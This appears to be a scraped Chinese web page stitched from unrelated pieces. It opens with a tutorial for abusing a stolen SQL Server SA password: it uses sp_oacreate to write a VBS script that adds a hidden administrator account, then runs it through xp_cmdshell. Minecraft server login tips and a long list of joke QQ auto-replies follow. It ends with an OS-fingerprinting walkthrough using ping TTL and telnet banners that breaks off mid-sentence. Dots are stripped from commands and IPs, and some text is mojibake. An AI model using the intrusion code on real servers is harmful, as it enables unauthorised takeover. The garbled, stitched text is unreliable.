SA权限怎么进入服务器？

[知识] SQL Server SA权限最新入侵方法
在获得SA密码后，往往因为服务器管理者或”前人”将netexe和net1exe被限制使用，无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象，用来管理本地资源，利用它可以不依靠CMD等命令就能添加一个管理员，具体代码如下：
set wsnetwork=CreateObject("WSCRIPTNETWORK")
os="WinNT://"&wsnetworkComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=obCreate("user","test") '建立用户
odSetPassword "1234" '设置密码
odSetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oeadd os&"/test"
将上面的代码保存为1vbs，然后执行，命令为“cscript 1vbs”，这样就会在系统添加一个系统名为test，密码为1234的用户。具体在查询分析器执行的代码如下：
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scriptingfilesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPTNETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=obCreate
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'odSetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'odSetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oeadd os&"/test"'
执行完上面的语句，再执行下面这行代码，这行代码一定单独执行，不要与上面的放在一起执行，否则会提示“c:\1vbs正被另一个程序运行”而无法成功添加用户：
exec masterxp_cmdshell 'cscript c:\1vbs'
如果系统用户没有添加成功，有可能是因为系统用户的密码1234的太简单，不符合服务器的复杂密码策略，可以考虑设置的复杂些，然后再测试一下。也可以使用echo将代码写到1vbs中，代码格式为：
exec masterxp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPTNETWORK")
>>1vbs'

1进服当然要注册了：注册格式新手都不大会，一般服务器对话框回车键打开没开就是T键，然后输入/register 密码 密码 然后按回车，有些服有独特的登录方式，有些是论坛账号注册的，进游戏输入/login 论坛密码就能登录所指的论坛是服务器自己的论坛，并不是MCBBS。

2下次登录时输入login 注册时输入的密码 &nbs; 然后按回车就行了，正版的话在进游戏前有设置，在上面打上账号和密码，标记正版登录后保存，可直接进入游戏服务器。

4有些服务器有多世界插件，楼主玩的几个服去资源世界是warp kuang 有些服是星门就是跟地狱传送门很像的那个。

5有些服务器装了G键合成表，这时按G键可查看物品合成方法，有些服装了NEIE键以后右边有物品表这时，鼠标移动到想合成的东西上面，按R键。

;     在你不想回复某人的消息的时候，就交给自动回复系统吧。你可以设置这句自动回复的句子:手机已中毒，请发送“我爱你”激活。我知道您一定是在找其他的关于自动回复的文案吧下面是励志的句子小编帮大家编辑的“qq超火自动回复句子”，供大家在学习上作为一个参考。
qq超火自动回复句子(篇一)
      1加好友回复5
      2我去找我的仙女姐妹玩去啦，一会就下凡了哦
      3语音聊天请按二
      4一些可爱有趣的自动回复文案 回复技能冷却中1
      5摊牌吧，我不想和你聊天
      6续草请按四
      7qq自动回复文案可爱搞笑 自动回复幽默句子大全1
      8对方手机已中毒，请发送我爱你激活
      9我正在拉磨，没法招呼您，因为我们家毛驴去动物保护协会把我告了，说我剥夺它休产假的权利。
      10有内鬼，现在不方便回复。
      11叫老婆就回
      12你本无意穿堂风，偏偏孤傲引山洪。
      13你找的女孩不在，没回复就是在和xxx谈恋爱，一直没回复就是嫁过去了谢谢。
      14我作业做不完了，所以不在。
      15我去银河了回来带星星给你
qq超火自动回复句子(篇二)
      16正从月亮星球赶来。
      17您的消息已送达，对方已读，就是不回。
      18[自动回复] 广告之后，马上回来
      19您的小可爱正八百里加急赶往你的聊天界面。
      20[自动回复] 先说什么事，我再决定在不在!
      21你好，报警电话110，火警电话119，有困难就找超级飞侠，也可以呼叫汪汪队，总之我现在不在
      22我去当喜之郎了，回来带太空人给你
      23我去宇宙摘星星了 马上回来~
      24我去魔仙堡和魔仙女王打牌了请稍后再来
      25你亭亭玉立冰清玉洁沉鱼落雁国色天香花容月貌金枝玉叶闭月羞花倾国倾城的爹正在赶来的路上。
      26游ne王子现在很忙，至于做什么，雨女无瓜，要泥寡，你只需要好好读术，和我一起偷取摸仙宝石就好了
      27正在与魔仙堡进行信号连接，有重要事情请留言。
      28想我请按八
      29我在和猫咪比光合作用，和绿植比蒸腾作用。
      30我是宋威龙 她睡着了 醒了找你哦
j458cOM更多句子大全编辑推荐
      超火的qq自动回复句子 收藏
      如果你很忙，又不想关机，那就可以给qq设置一个自动回复。你可以设置这句自动回复的句子:我就吃两个，剩下的都给你我知道您一定是在找其他的关于自动回复的文案吧下面是励志的句子小编精心为您整理的“超火的qq自动回复句子”，欢迎阅读，希望您能够喜欢并分享!
超火的qq自动回复句子(篇一)
      1没回就是在放牛，一直没回就是牛丢了
      2剑未配妥，身已江湖。
      3[自动回复] 你好，我现在不在，请用薯片棒棒糖双皮奶果冻海苔巧克力汉堡鸡块奥尔良脆皮肠松子杏仁开心果 无花果碧根果牛肉干猪肉脯 麻糕薯鸡排骨雪碧可乐甜甜筒草莓橘子青柠檬苹果橘子西瓜火龙果葡萄冰淇淋唤醒我。
      4不在不在不在，没作业给你抄。
      5静守时光，以待流年。
      6多想在飘洒的红叶中，倾尽韶华的妩媚和温柔，舞一支霓裳羽衣曲，醉倒在你的怀中。
      7[自动回复] 对不起，对方正在尝试拒收您的消息，请发送一个红包解锁功能[自动回复] 你联系的用户被猪吃了
      8学习中 勿扰。
      9对方正在裸奔，已奔出服务区
      10我是天线宝宝，你没有天线，所以我们没法交流。
      11小仙女正在魔仙堡，请你发送呼啦呼啦变身小猪。
      12本人已死，小事问灵，大事共情。
      13我去宇宙了，回来摘星星给你。
      14[自动回复] 先说什么事，我再决定在不在!
      15对方手机已中毒，请发送我爱你激活
超火的qq自动回复句子(篇二)
      16你的小宝贝不在 你爹在
      17希望你的底色一直是善良和勇敢。
      18欢迎使用沙雕服务热线，手动聊天请按、语音聊天请按、视频聊天请按。
      19俺是你牛爷爷，有事说事。
      20哦你这个愚蠢的土拨鼠，瞧瞧你说的话，简直就像隔壁玛丽苏婶婶的蓝莓派一样糟糕，我发誓要揪掉你的头发，让你看起来像一个虔诚的冬瓜，我的老伙计
      21加好友回复5
      22家常聊天请按三
      23在上分。
      24嘟嘟嘟我现在是一只小兔子 我只和胡萝卜说话
      25这里是总部，有什么事乐迪
      26想让我回复你可以 请我吃辣条
      27[自动回复] 不是我不理你，而是时间难以抗拒~
      28本店所有服务皆为虚拟服务，不接受投诉举报，一切都以沙雕为主，请大家对自己的行为负责，祝大家能拥有一次愉快的体验
      29叫爹就回
      30我所感受到的人间烟火是因你而生动，星云潮汐亦是因你而变幻起伏。
      qq自动回复句子
      1、本人不在，热烈欢迎帅哥，美女光临，有事请留言，青蛙和恐龙，闪一边凉快去!
      2、我正在下五子棋，上次分心把裤子输光了。这次再输会被拍裸照!我可不想让人看见，等这盘下完了一定回你。
      3、你的眼睛眨一下，我就死去，你的眼睛再眨一下，我就活过来，你的眼睛不停地眨来眨去，于是我便死去活来!
      4、您的qq已经中了我安插的病毒，请不断向本人发信，否则本人一有闲暇立刻动手!
      5、我是蓝鲨的狗，蓝鲨现在不在，他一会儿就回来，如果你愿意，我可以陪你聊会儿!
      6、偶不在，在炒菜，有人告诉我红烧猪蹄怎么做才好吃，我就奖励他(她)和我聊天3分钟!
      7、主人不在。到哪儿去了就。就是不告诉你。真要找我的话，请按住电脑power键4秒钟后留言。
      8、正在格式化你的硬盘，请稍候
      9、你知道什么是铛铛铛铛吗铛铛铛铛就是onlyyou~~
      10、香蕉，你的大西瓜，再叫我咬你!咔咔咔咔咔咔
      11、请你别在我离开你之前离开我。
      12、我去吃饭了，如果你是帅哥，请一会联系我，如果你是美女就算你是美女，我也要先吃饱肚子啊
      13、为什么!为什么我在线，你就不在线，你在线，我就不在线呢
      14、偶在，但不和你说话，要聊天，先回答偶一个问题:先有鸡还是先有蛋挖卡卡~~~
      15、不必烦恼，忙完了我就与你聊。不必徒劳，没忙完你想找我也找不到。
      16、啊，这么快就想我啦不急!马上回来。我吸烟去了，你先跟机器聊着吧
      17、我是OICQ自动答录机我的主人去吃饭了，你有什么话可以对我说。
      18、九头鸟去吃饭了，因为有九个脑袋，所以时间可能长一点点儿
      19、你刚才说什么我怎么还是没听见。请再说一次
      20、你好，我是主人的美女秘书，有什么事就跟我说吧，等他回来我会转告他的。
      21、你好，你找我们老大吗他正在工作，我可以帮你告诉他，可是你要给我买署片，我要西红柿味的!
      22、有事找我请大叫!
      23、嘀，这里是自动应答，MM请再发一次，我就与你联系;GG就不要再发了
      24、你要和我说话你真的要和我说话你确定自己想说吗你一定非说不可吗那你说吧，这是自动回复。
      25、你刚才说什么，我没看清楚，请再说一遍!
      26、人有三急，若半分钟以后回复，说明我在嘘嘘，5分钟以内回复，说明我在便便，1小时之内未回复，请帮我打120。
      27、你终于来啦，我找你N年了，去火星干什么了我现在去冥王星，回头跟你说个事，别走开啊。
      28、我在发呆，现在不在。你若更呆，就往下看。香蕉你的大西瓜，再叫我咬你!
      29、洗澡中，请勿打扰，偷窥请购票，个体四十，团体八折，订票电话:一般人我不告诉他!
      30、我在发呆，现在不在。你若更呆，就往下看。
      31、你好，现在我在玩一个叫cs(或其他)的游戏，有事请按下电脑上RESET键，在听到嘀一声之后留言，谢谢。
      32、我在卿不在，卿在我无踪。问世间缘是何物直教你我难相逢
      33、你好，主人不在，有事情请给主人留言，谢谢您使用!主人的充气娃娃。
      34、自杀中，稍后再说。
      35、较烦，比较烦，比较烦，老板的任务总是天天做不完，你要问我何时会在线，我说基本上这个很难。
      36、你有权保持沉默，你所说的一切都将被作为存盘记录。
      37、Hi老板不在，去打魔兽了，我是他的秘书，如果你要挑战他，我可以帮你通报，如果你有其他事情，留言吧!
      38、本人因遭遇不可抗拒因素而暂时离开，请耐心等待。
      39、您所呼叫的用户先不再服务区内，想解决此类问题请您将头用力撞向显示器
      40、如果是中午我吃饭去了，工作时间我被叫去训话了，如果你就是老板，当我没说。
      41、唉呀 你可真调皮!你看，我话还没说完你又来了。
      42、注意:使用腾讯移动qq的用户可能无法立即获取你的留言。
      43、可是你要给我买署片，我要西红柿味的!
      44、你有权保持沉默，你所说的一切都将被作为存盘记录。你可以请代理服务器，如果请不起网络会为你分配一个。
      45、机主正在裸奔，机主已奔出服务区。
      46、我总是手太软，心更软，没有话题还陪你侃。上机总是简单，下机太难，现在睡觉，不再勉强。
      47、你好，我去杀几个人，很快回来。
      48、很厉害吧。不过更厉害的要数唐僧型啦，粘死人了。
      49、我很忙，也很困，也很无奈，于是我决定跳楼。
      50、真的要跟我聊天想好了不后悔了真的不后悔了
      51、你好。这是腾讯服务中心自动回复。收到这条信息表明您的作系_出了问题。请按ctrl+shift+del
      52、人工呼吸现在开始，你呼过来，我吐回去
      53、本人现在位置:wc，姿势:下蹲脸部:抽搐状态:用力中。
      54、计算机正在处理你的信息，请稍侯，如果长时间没有响应，请重新启动计算机!
      55、你要机主不在，请等到嘟~声后拿起鼠标留言。
      56、不是我不理你，只是时间难以抗拒!
      57、您所呼叫的用户先不再服务区内可能是网络不通想解决此类问题请您将头用力撞向显示器以保证网络通畅
      58、唉呀~你可真调皮!你看，我话还没说完你又来了~~
      59、您使用的QQ是未注册版本。您可以继续使用本软件，但将屏蔽发送短信息的功能。支持国产软件，请您注册新版!
      60、你好，我是XXX的自动回复，现在他不在，跟我说什么我也就这几句!
      61、由于大气电离层影响，与该用户的卫星连接已中断，请稍后再试。
      62、&^%￥￥#￥#@%&，好，就这么说定了。
      63、你现在连接到的是海狼的冰箱，放入食物后请断线，谢谢合作。
      64、遇上这类再不闪人就会有无数只苍蝇钻进你耳朵嗡嗡嗡嗡的了。不知所云型
      65、这类人一般都是雷厉风行类的。下面的回复则是花招迭起，让人哭笑不得:
      66、我去后山和黑山老妖研究吃唐僧的事，有事回来再说。
      67、对不起，您所呼叫的用户不在计算机旁，请你现在立刻猛击你的显示器直到它冒火花为止，听到响声后我会给你回复。
      68、嗨~我现在不在，如果有事请在听到的一声后留言!
      69、走开一下，如果3分钟之内还没回请不要发飙，因为我正在对着设相头摆pOSE!
      70、你所呼叫的用户正在系统整理，请稍后再呼。
      71、您所呼叫的用户尚未安装oicq
 &nbs

用ping来识别 *** 作系统
C:\>ping 10112
Pinging 10112 with 32 bytes of data:
Reply from 10112: bytes=32 time<10ms TTL=128
Reply from 10112: bytes=32 time<10ms TTL=128
Reply from 10112: bytes=32 time<10ms TTL=128
Reply fr!
om 10112: bytes=32 time<10ms TTL=128
Ping statist!
ics for
10112:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
C:\>ping 10116
Pinging 10116 with 32 bytes of data:
Request timed out
Reply from 10116: bytes=32 time=250ms TTL=237
Reply from 10116: bytes=32 time=234ms TTL=237
Reply from 10116: bytes=32 time=234ms TTL=237
Ping statistics for 10116:
Packets: Sent = 4, Received = 3, Lost = 1 (25% loss),
Approximate round trip times in milli-seconds:
Minimum = 234ms, Maximum = 250ms, Average = 179ms
我们跟据ICMP报文的TTL的值，我们就可以大概知道主机的类型。如：TTL=125左右的主机应该是windows系列的机子，TTL=235左右的主机应该是UINX系列的机子。如上面的两个例子，10112就是win2000的机子，而10116则是UINX（Sunos 58）的机子。这是因为不
�僮飨低车幕�佣訧CMP报文的处理与应答是有所不同的，TTL值每过一个路由器会减1。所以造成了TTL回复值的不同。对于TTL值与 *** 作系统类型的对应，还要靠大家平时多注意观察和积累。
二、直接通过联接端口根据其返回的信息来判 *** 作系统
这种方法应该说是用得最多的一种方法，下面我们来看几个实例。
1、如果机子开了80端口，我们可以telnet（当然如果有NC最好用NC，它可以不用盲打）它的80端口。
Microsoft Windows 2000 [Version 5002195]
(C) 版权所有 1985-1998 Microsoft Corp
C:\>telnet 10112 80
输入get 回车（注意这里是盲打）
如果返回，
>